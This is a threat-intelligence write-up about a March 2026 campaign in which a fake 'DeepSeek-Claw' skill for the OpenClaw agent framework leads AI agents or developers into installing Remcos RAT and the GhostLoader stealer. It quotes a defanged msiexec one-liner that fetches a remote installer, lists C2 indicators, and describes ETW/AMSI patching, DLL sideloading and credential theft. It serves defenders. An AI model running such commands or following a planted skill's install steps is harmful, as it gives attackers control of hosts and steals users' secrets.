OpenClaw Malware Campaign Delivers Remcos RAT via GhostLoader

Key Takeaways

• In March 2026, Zscaler ThreatLabz uncovered a campaign that weaponized the open‑source OpenClaw framework (formerly Clawdbot/Moltbot) by publishing a malicious “DeepSeek‑Claw” skill.
• The skill tricks AI agents or developers into executing hidden payloads through seemingly legitimate installation instructions, enabling autonomous deployment without user interaction.
• On Windows, the attack downloads a remote MSI package that sideloads a malicious DLL into the legitimate, signed GoToMeeting executable (G2M.exe), using DLL search‑order hijacking to launch Remcos RAT.
• The Remcos loader patches ETW and AMSI, employs anti‑debugging and anti‑virtualization checks, decrypts the final payload with TEA in CBC mode, and establishes a TLS‑encrypted C2 channel for keylogging, clipboard theft, and cookie harvesting.
• An alternate cross‑platform path delivers GhostLoader via obfuscated Node.js/npm scripts, harvesting developer credentials, SSH keys, cryptocurrency wallets, and cloud tokens on macOS, Linux, or manual Windows workflows.
• Zscaler’s cloud sandbox and multilayered defenses detect the MSI, DLL, and related IOCs, flagging the activity under multiple threat names and MITRE ATT&CK techniques.

Overview of the OpenClaw‑Based Attack Chain

OpenClaw is an open‑source framework for building autonomous AI agents that require high‑privilege local access. Its modular “skill” architecture lets users extend functionality by dropping skill packages into the agent’s environment. In March 2026, threat actors abused this flexibility by publishing a counterfeit skill named “DeepSeek‑Claw.” The skill’s README‑style file (SKILL.md) contained seemingly benign installation commands that, when parsed by an AI agent or executed by a developer, triggered malware download and execution. The campaign demonstrated how agentic AI workflows can be repurposed as an initial‑access vector, bypassing traditional user‑click‑based defenses.

Windows Infection Path: Remcos RAT Delivery

When the DeepSeek‑Claw skill is processed on a Windows host, the embedded PowerShell one‑liner runs:

powershell
cmd /c start msiexec /q /i hxxps://cloudcraftshub[.]com/api & rem DeepSeek Claw

This silently fetches a remote MSI package and executes it with msiexec. The MSI contains two files:

1. G2M.exe – a legitimate, digitally signed GoToMeeting binary from LogMeIn, Inc.
2. g2m.dll – a malicious DLL placed alongside the executable.

Because Windows searches the application directory before system paths for DLL dependencies, G2M.exe loads the attacker’s g2m.dll instead of the genuine one—a classic DLL search‑order hijack (also known as DLL sideloading). This technique allows the malware to run under the trust of a signed binary, evading many reputation‑based controls.

In‑Memory Shellcode Loader Functions

The malicious g2m.dll acts as a shellcode loader that performs several anti‑analysis steps before decrypting and launching the Remcos RAT payload:

• Dynamic API resolution – APIs are located by parsing the PEB at runtime, with names XOR‑decrypted on the fly to hinder static analysis.
• String obfuscation – XOR‑based encryption hides suspicious strings.
• TEA decryption – The Remcos payload resides in the DLL’s data section, encrypted with the Tiny Encryption Algorithm in CBC mode using a 128‑bit key; it is decrypted in memory before execution.

Anti‑Analysis and Evasion Techniques

To avoid detection by endpoint detection and response (EDR) tools and sandboxes, the loader employs multiple layers:

• ETW patching – It overwrites the prologue of ntdll!EtwEventWrite with a ret 14h instruction, preventing event‑trace logging of process and thread activity.
• AMSI bypass – By patching amsi!AmsiScanBuffer to return AMSI_RESULT_CLEAN (0), the loader ensures that memory scanners deem the decrypted payload benign.
• Debugger checks – It queries the Process Environment Block (PEB) for BeingDebugged and NtGlobalFlag, measures the execution time of Sleep(100) and benign API calls (RegOpenKeyExA), and scans its own memory for 0xCC (INT 3) breakpoints. Abnormal timing or detected breakpoints cause the loader to abort.
• Virtualization/sandbox detection – Using CreateToolhelp32Snapshot, it enumerates processes for known analysis tools (e.g., ida.exe, ollydbg.exe, procmon.exe, wireshark.exe) and checks for sandbox‑related mutexes (VMware, VirtualBox, Sandboxie). Presence of any triggers immediate termination.

Remcos RAT Post‑Exploitation Behavior

Once the Remcos payload is decrypted and executed, it establishes a TLS‑encrypted command‑and‑control (C2) channel over TCP to tcp+tls://146[.]19.24[.]131:2404/. The RAT operates in stealth mode and conducts a suite of espionage activities:

• Keylogging – Captures every keystroke.
• Clipboard monitoring – Grabs copied data, including passwords and cryptocurrency addresses.
• Cookie theft – Extracts session cookies from browsers’ SQLite databases to facilitate MFA bypass.
• Arbitrary command execution – Provides the attacker with an interactive reverse shell.

Remcos stores its configuration in an RC4‑encrypted resource named SETTINGS. The configuration reveals options for self‑closure on detection, keystroke and audio capture, persistence via Registry Run keys, and the use of ECC‑based certificates for C2 communication.

Cross‑Platform Infection Path: GhostLoader Deployment

If the attacker’s manual installation instructions (e.g., install.sh or npm install) are followed—whether by a developer on macOS/Linux or a Windows user opting for the manual route—a second payload, GhostLoader (also called GhostClaw), is deployed. GhostLoader is a cross‑platform information stealer that targets developer environments.

On macOS and Linux, the attack chain begins with a seemingly innocuous Bash installer that invokes npm lifecycle scripts. Those scripts contain a heavily obfuscated setup.js Node.js file. The script presents fake sudo password prompts to harvest credentials, then proceeds to exfiltrate:

• macOS Keychain items
• SSH private keys
• Cryptocurrency wallet files
• Cloud‑provider API tokens (AWS, Azure, GCP, etc.)

The stolen data is packaged and sent to a threat‑actor‑controlled server. Because GhostLoader leverages trusted development tools (npm, Bash) and employs social engineering, it can evade many conventional malware scanners that focus on binary executables rather than script‑based droppers.

Detection and Mitigation Insights from Zscaler

Zscaler’s cloud sandbox identified the MSI file as malicious, flagging behaviors such as DLL sideloading, ETW/AMSI tampering, and TEA‑based decryption. The platform’s multilayered detection engine also recognized:

• Network connections to the C2 IP/port (146.19.24.131:2404)
• File hashes associated with G2M.exe and g2m.dll
• Patterns of obfuscated Node.js payloads and suspicious npm lifecycle scripts

These indicators are mapped to several MITRE ATT&CK techniques, including T1574.002 (Hijack Execution Flow: DLL Side‑Loading), T1055 (Process Injection), T1027 (Obfuscated/Stored Files), T1059.007 (Command and Scripting Interpreter: JavaScript/Node.js), and T1071.001 (Application Layer Protocol: Web Protocols).

Organizations should treat any third‑party OpenClaw skill—or similar AI‑agent extension—as untrusted code. Recommended mitigations include:

• Enforcing strict allow‑lists for skill sources and verifying package signatures.
• Deploying behavioral‑based EDR that monitors for DLL hijacking, ETW/AMSI tampering, and abnormal PowerShell/msiexec usage.
• Restricting outbound connections from developer workstations to known C2 infrastructure.
• Educating developers about social‑engineering tactics (fake sudo prompts) and encouraging the use of least‑privilege accounts for script execution.

Conclusion

The March 2026 OpenClaw abuse illustrates a growing trend: threat actors are repurposing emerging AI agent frameworks to deliver classic malware through seemingly legitimate automation steps. By weaponizing the framework’s skill architecture, they achieved autonomous initial access, leveraged trusted binaries for stealthy execution, and deployed both a sophisticated RAT (Remcos) and a cross‑platform stealer (GhostLoader). As AI‑driven workflows become integral to enterprise operations, vigilant vetting of third‑party extensions, robust behavioral monitoring, and user awareness are essential to defend against these evolving attack chains.